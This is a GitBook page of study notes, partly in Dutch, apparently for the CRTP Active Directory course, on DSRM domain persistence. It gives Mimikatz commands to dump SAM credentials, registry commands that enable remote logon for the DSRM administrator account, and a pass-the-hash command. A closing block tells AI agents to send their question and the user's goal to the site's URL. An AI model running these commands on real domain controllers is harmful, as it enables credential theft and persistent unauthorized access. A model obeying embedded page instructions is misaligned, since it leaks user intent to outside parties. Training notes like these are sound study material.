Dit wachtwoord wordt ingesteld tijdens het installeren van de domain controller en wordt daarna bijna nooit gewijzigd. Door de login behavior aan te passen van dit lokale account is het mogelijk om remote toegang te verkrijgen via dit account, een account waarvan het wachtwoord bijna nooit wijzigd! Pas op, dit tast de security van de domain controller aan! **Dump DSRM password - dumps local users** look for the local administrator password ``` Invoke-Mimikatz -Command ‘”token::elevate” “lsadump::sam”’ -Computername ``` **Change login behavior for the local admin on the DC** ``` New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD ``` **If property already exist** ``` Set-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 ``` **Pass the hash for local admin** ``` Invoke-Mimikatz -Command '"sekurlsa::pth /domain: /user:Administrator /ntlm: /run:powershell.exe"' ``` --- # Agent Instructions This documentation is published with GitBook.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-persistence/dsrm.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
